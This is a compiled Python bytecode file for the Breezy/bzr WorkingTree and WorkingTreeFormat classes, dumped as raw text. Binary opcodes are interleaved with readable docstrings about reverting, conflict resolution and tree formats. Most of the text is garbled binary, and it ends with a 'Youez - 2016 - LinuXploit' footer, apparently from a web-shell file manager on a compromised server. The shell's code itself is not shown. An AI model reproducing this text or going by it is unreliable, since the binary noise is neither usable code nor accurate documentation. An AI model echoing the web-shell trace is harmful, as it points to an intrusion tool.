U	R55 URX�45 UR!U5 U"U5 OU"XSSS9 U
sSSS5 $!,(df   g=f)Nr)�resolve)�revertT)�
ignore_missesr�)rqr�	transformr�
contextlib�	ExitStack�
enter_contextrr�r�r�r�r\r�r�r�r�)
r3�	filenames�old_tree�backups�pb�report_changesrr�
exit_stackr�rqr�r\s
             r"r�WorkingTree.revert�s��	'�%�
�
!�
!�
#�z��$�$�T�%9�%9�%;�<���!�_�_�.�
��(�(��)=�)=�)?�@�%��!�
��t�y�2�V�I�� �S��)<�)<�)>�%?�!�%C�!�� $� 2� 2� 4�
� �M�$?�$?�?�!�)�%)�_�_�%6�
�"�0�0��1E�1E�1G�H� �'�'��(C�D��%�%�l�3���
���t�t�L��+$�
#�
#�s�DD:�:
Ec�,�[UR5e)z6Store uncommitted changes from the tree in the branch.)rd�store_uncommittedr2s r"r�WorkingTree.store_uncommittedr�r!c�,�[UR5e)z:Restore uncommitted changes from the branch into the tree.)rd�restore_uncommittedr2s r"r�WorkingTree.restore_uncommitteds��!�$�":�":�;�;r!c�,�[UR5e)z�See Tree.revision_tree.

For trees that can be obtained from the working tree, this
will do so. For other trees, it will fall back to the repository.
)rdr�r�s  r"r��WorkingTree.revision_tree s��"�$�"4�"4�5�5r!c���UR5(d
[5eUR5 Uc[S5eUR	U5 SSS5 g!,(df   g=f)zSet the root id for this tree.Nz(WorkingTree.set_root_id with fileid=None)rurr�
ValueError�_set_root_id�r3�file_ids  r"r�WorkingTree.set_root_id(sQ���-�-�/�/�*�,�,�
�
!�
!�
#��� �!K�L�L����g�&�	$�
#�
#�s� A�
A'c�,�[UR5e)z�Set the root id for this tree, in a format specific manner.

Args:
  file_id: The file id to assign to the root. It must not be
    present in the current inventory or an error will occur. It must
    not be None, but rather a valid file id.
)rdrr s  r"r�WorkingTree._set_root_id2s��"�$�"3�"3�4�4r!c�,�[UR5e)aZSee Branch.unlock.

WorkingTree locking just uses the Branch locking facilities.
This is current because all working trees have an embedded branch
within them. IF in the future, we were to make branch data shareable
between multiple working trees, i.e. via shared storage, then we
would probably want to lock both the local tree, and the branch.
)rd�unlockr2s r"r&�WorkingTree.unlock<s��"�$�+�+�.�.r!c�,�[UR5e)aUpdate a working tree along its branch.

This will update the branch if its bound too, which means we have
multiple trees involved:

- The new basis tree of the master.
- The old basis tree of the branch.
- The old basis tree of the working tree.
- The current working tree state.

Pathologically, all three may be different, and non-ancestors of each
other.  Conceptually we want to:

- Preserve the wt.basis->wt.state changes
- Transform the wt.basis to the new master basis.
- Apply a merge of the old branch basis to get any 'local' changes from
  it into the tree.
- Restore the wt.basis->wt.state changes.

There isn't a single operation at the moment to do that, so we:

- Merge current state -> basis tree of the master w.r.t. the old tree
  basis.
- Do a 'normal' merge of the old branch basis if it is relevant.

Args:
  revision: The target revision to update to. Must be in the
    revision history.
  old_tip: If branch.update() has already been run, the value it
    returned (old tip of the branch or None). _marker is used
    otherwise.
)rd�update)r3r�r�r
�old_tipris      r"r)�WorkingTree.updateGs��P"�$�+�+�.�.r!c�D�[R"URU5er/)r
�UnsupportedOperation�
set_conflicts�r3�args  r"r.�WorkingTree.set_conflictsq����)�)�$�*<�*<�d�C�Cr!c�D�[R"URU5er/)r
r-�
add_conflictsr/s  r"r4�WorkingTree.add_conflictstr2r!c�,�[UR5er/)rdrqr2s r"rq�WorkingTree.conflictsws��!�$�.�.�1�1r!c�,�[UR5e)a�Walk the directories of this tree.

returns a generator which yields items in the form:
        (current_directory_path,
         [(file1_path, file1_name, file1_kind, (lstat),
           file1_kind), ... ])

This API returns a generator, which is only valid during the current
tree transaction - within a single lock_read or lock_write duration.

If the tree is not locked, it may cause an error to be raised,
depending on the tree implementation.
)rd�walkdirs)r3�prefixs  r"r9�WorkingTree.walkdirszs��"�$�-�-�0�0r!c�b�UR5 /n/nUR5H7nURU5 URU5 UR	U5 M9 UR
U5 X4sSSS5 $![
a UR	U5 Mvf=f!,(df   g=f)arAutomatically resolve text conflicts according to contents.

Only text conflicts are auto_resolvable. Files with no conflict markers
are considered 'resolved', because bzr always puts conflict markers
into files that have text conflicts.  The corresponding .THIS .BASE and
.OTHER files are deleted, as per 'resolve'.

Returns: a tuple of lists: (un_resolved, resolved).
N)rrq�action_auto�cleanupr�rdr.)r3�un_resolved�resolved�conflicts    r"�auto_resolve�WorkingTree.auto_resolve�s����
!�
!�
#��K��H� �N�N�,��.��(�(��.��$�$�T�*��O�O�H�-�-�
���{�+��(�$�
#��+�1��&�&�x�0�1��
$�
#�s-�B �A>�9B �>B�B �B�B � 
B.c��g)aValidate internal structures.

This is meant mostly for the test suite. To give it a chance to detect
corruption after actions have occurred. The default implementation is a
just a no-op.

Returns: None. An exception should be raised if there is an error.
Nrr2s r"�	_validate�WorkingTree._validate�s��	r!c�,�[UR5e)z,Check that the working state is/isn't valid.)rd�check_stater2s r"rH�WorkingTree.check_state�r�r!c�,�[UR5e)z�Reset the state of the working tree.

This does a hard-reset to a last-known-good state. This is a way to
fix if something got corrupted (like the .bzr/checkout/dirstate file)
)rd�reset_state)r3r(s  r"rK�WorkingTree.reset_state�s��"�$�"2�"2�3�3r!c�^>�URc[TU]	U5UlUR$)zSee Tree._get_rules_searcher.)r@�super�_get_rules_searcher)r3�default_searcherr�s  �r"rO�WorkingTree._get_rules_searcher�s.������'�#(�7�#>�?O�#P�D� ��#�#�#r!c�,�[UR5e)z-Return the ShelfManager for this WorkingTree.)rd�get_shelf_managerr2s r"rS�WorkingTree.get_shelf_manager�r�r!c#�# �UR5 UHnURS5v� M SSS5 g!,(df   g=f7f)aLike get_canonical_path() but works on multiple items.

Args:
  paths: A sequence of paths relative to the root of the tree.

Returns:
  A list of paths, with each item the corresponding input path
  adjusted to account for existing elements that match case
  insensitively.
�/N)r��strip)r3r�r�s   r"�get_canonical_paths�WorkingTree.get_canonical_paths�s4����^�^�
����j�j��o�%���
�
�s�A
�9�	A
�
A�A
c��UR5 [URU/55sSSS5 $!,(df   g=f)a�Returns the first item in the tree that matches a path.

This is meant to allow case-insensitive path lookups on e.g.
FAT filesystems.

If a path matches exactly, it is returned. If no path matches exactly
but more than one path matches according to the underlying file system,
it is implementation defined which is returned.

If no path matches according to the file system, the input path is
returned, but with as many path entries that do exist changed to their
canonical form.

If you need to resolve many names from the same tree, you should
use get_canonical_paths() to avoid O(N) behaviour.

Args:
  path: A paths relative to the root of the tree.

Returns:
  The input path adjusted to account for existing elements
  that match case insensitively.
N)r��nextrXr�s  r"�get_canonical_path�WorkingTree.get_canonical_path�s/��0�^�^�
���0�0�$��8�9��
�
�s	�6�
Ac�D�[R"URU5er/)r
r-�reference_parent)r3r�r-r�s    r"r_�WorkingTree.reference_parent�s���)�)�$�*?�*?��F�Fr!c�D�[R"URU5er/)r
r-�get_reference_info)r3r�r-s   r"rb�WorkingTree.get_reference_info�����)�)�$�*A�*A�4�H�Hr!c�D�[R"URU5er/)r
r-�set_reference_info)r3�	tree_path�branch_locations   r"rf�WorkingTree.set_reference_info�rdr!)r;r7r@r?r>r8r0)r�NFNNNrk)rzr+r/)NTT)TT)rzr)T)F�NNNF)FNTF)FNNNFFN)NNTNF)NNNNF)r�)NN)trrrr�__doc__�__annotations__r4rC�propertyrFrIrLrOr-rZr]rarerhrlrorrrurx�staticmethodr�r�str�tupler�r�r�r�r�r�r�r�r�r�r�fstatr�r�r�r�rr�rrrr%r+r.r3r;rBrrKrNrSrrruryr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r\r�r�r�rrr�rFr�rrrrr�rrr&r)r.r4rqr9rBrErHrKrOrSrXr\r_rbrfr �
__classcell__�r�s@r"r+r+Ps	����
��)�
������(�@�.��.�����7�=��
&�
��F�;�4�9�3�/��9�+�6�.��B��B��3�h�s�m�3�u�]�C�=O�7P�3��3�$�IM�!
��!
�F$�L�9��9�
�
8�U�@3�7�C�15�W�]�]�&�."�$�
�*�&1�.
�
7��&�0K�=�D�
� �,;�:-�;�	�TY�.�`
7�,��0�E�0�.�8�QV�3� "-�H
�	W�2�"��� ����>�@ �
/� �3�4�,�(%�/�
2�2�8�3�A�:��"/�TY��::�<�6�'�5�	/�� ����
(/�TD�D�2�1� )�0	�4�4�$�:�
&�:�6G�I�I�Ir!r+c�B^�\rSrSrSrSU4SjjrSrSrSrSr	U=r
$)	�WorkingTreeFormatRegistryi�z"Registry for working tree formats.c�@>�[TU]U5 SUlSUlgr/)rNrC�_default_format�_default_format_key)r3�other_registryr�s  �r"rC�"WorkingTreeFormatRegistry.__init__�s ���
����(�#���#'�� r!c��URb-URc URUR5UlUR$)z"Return the current default format.)rxrw�getr2s r"�get_default�%WorkingTreeFormatRegistry.get_default�s<���#�#�/�D�4H�4H�4P�#'�8�8�D�,D�,D�#E�D� ��#�#�#r!c��XlSUlg)zSet the default format.N�rwrx)r3r�s  r"�set_default�%WorkingTreeFormatRegistry.set_defaults��%��#'�� r!c��XlSUlg)z,Set the default format by its format string.N)rxrw)r3�
format_strings  r"�set_default_key�)WorkingTreeFormatRegistry.set_default_key
s��#0� �#��r!r�r/)rrrrrkrCr}r�r�r rrrss@r"ruru�s���,�(�
$�(�
$�$r!ruc��\rSrSr%SrSrSrSrSrSr	\
\S'SrSr
SrSrSrSr\\\S'SS	jrS
rSrSrS
rSrSrSrSrg)�WorkingTreeFormatiafAn encapsulation of the initialization and open routines for a format.

Formats provide three things:
 * An initialization routine,
 * a format string,
 * an open routine.

Formats are placed in an dict by their format string for reference
during workingtree opening. Its not required that these be instances, they
can be classes themselves with class methods - it simply depends on
whether state is needed for a given format or not.

Once a format is deprecated, just deprecate the initialize and open
methods on the format class. Do not deprecate the object, as the
object will be created every time regardless.
F�FoRMaTrYTN�ignore_filenamec�,�[UR5e)a*Initialize a new working tree in controldir.

Args:
  controldir: ControlDir to initialize the working tree in.
  revision_id: allows creating a working tree at a different
    revision than the branch is at.
  from_branch: Branch to checkout
  accelerator_tree: A tree which can be used for retrieving file
    contents more quickly than the revision tree, i.e. a workingtree.
    The revision tree will be used for cases where accelerator_tree's
    content is different.
  hardlink: If true, hard-link files from accelerator_tree,
    where possible.
)rd�
initialize)r3r8r��from_branch�accelerator_tree�hardlinks      r"r��WorkingTreeFormat.initializeBs��,"�$�/�/�2�2r!c�2�URURL$r/rs�r3�others  r"�__eq__�WorkingTreeFormat.__eq__Zs���~�~����0�0r!c��X:X+$r/rr�s  r"�__ne__�WorkingTreeFormat.__ne__]s���"�"r!c�,�[UR5e)z-Return the short description for this format.)rd�get_format_descriptionr2s r"r��(WorkingTreeFormat.get_format_description`s��!�$�"=�"=�>�>r!c��g)z�Is this format supported?

Supported formats can be initialized and opened.
Unsupported formats may not support initialization or committing or
some other features depending on the reason for not being supported.
Trr2s r"�is_supported�WorkingTreeFormat.is_supportedds��r!c��g)z/True if this format supports content filtering.Frr2s r"ro�,WorkingTreeFormat.supports_content_filteringm���r!c��g)z*True if this format supports stored views.Frr2s r"rr� WorkingTreeFormat.supports_viewsqr�r!c��UR$)z�Get the control directory format for creating branches.

This is to support testing of working tree formats that can not exist
in the same control directory as a branch.
)�_matchingcontroldirr2s r"�get_controldir_for_branch�+WorkingTreeFormat.get_controldir_for_branchus���'�'�'r!rrj)rrrrrkrh�upgrade_recommended�%requires_normalized_unicode_filenames�case_sensitive_filename�missing_parent_conflictsr�rlr]ru�supports_store_uncommitted�$supports_leftmost_parent_id_as_ghost�%supports_righthand_parent_id_as_ghostr�rror�r�r�r�r�rorrr�r rr!r"r�r�s����"����,1�)�&��$��;�$(�(�"��@� $��4�!%��<�+/�(�,0�)�%)�O�X�c�]�)�5�
����
3�01�#�?����(r!r�)(�
__docformat__rr�r�typingrrr-r�revisiontreerr	�globalsr�r
rrr
r�r8rrrr�i18nr�tracerr�	transportrr9rr%r(�MutableTreer+ru�format_registryr�rr!r"�<module>r�s���"�
����	�*���*�%���I��	�+�*�'�����!�<�v���<�<�&�/�/�<��V�_�_��dI�+�)�)�+;�dI�N%$� >�$�2,�-��h(�.�h(r!

Youez - 2016 - github.com/yon3zu
LinuXploit